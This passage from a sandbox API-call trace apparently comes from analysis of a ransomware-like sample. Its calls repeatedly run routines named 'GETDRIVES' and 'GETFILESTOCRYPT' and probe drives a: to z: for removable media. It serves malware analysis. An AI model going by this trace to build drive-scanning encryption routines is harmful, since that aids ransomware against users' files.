TranslateMessage (lpMsg=0x130f614) returned 0 [0082.883] DispatchMessageW (lpMsg=0x130f614) returned 0x0 [0082.883] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130ec78) returned 1 [0082.887] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0082.887] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.887] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.887] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.887] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.888] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.888] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.888] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.888] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.888] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.888] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.888] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.888] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.888] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.888] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.889] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.890] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.891] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.892] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.892] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.892] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.892] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.892] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.892] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.892] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.892] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.892] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.892] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.892] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.892] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.893] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.893] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.893] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.893] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.893] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.893] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.893] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.893] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.893] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.894] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.895] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.895] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.895] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.895] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.898] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.899] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.899] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.899] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.899] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.899] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.899] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.900] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.900] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.900] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.900] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.900] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.900] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.900] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.901] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.901] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.901] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.901] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.901] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.901] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.902] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.903] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.904] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.904] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.904] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.904] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.904] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.904] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.904] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.904] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.905] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.905] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.905] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.905] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.905] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.906] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.906] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.906] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.906] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.906] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.906] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.906] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.906] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.907] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.908] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.908] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.908] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.908] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.908] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.909] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.910] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.910] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.910] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.911] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.911] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.911] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.911] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.911] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.911] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.911] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.911] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.912] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.912] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.913] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.914] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.915] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.915] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.915] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.915] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.915] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.915] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.915] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.915] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.915] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.915] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.916] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.916] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.916] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.916] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.916] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.916] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.916] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.917] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.917] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.918] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.918] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.918] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.918] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.918] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.919] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.919] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.919] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.919] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.919] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.920] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.921] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.921] PeekMessageW (in: 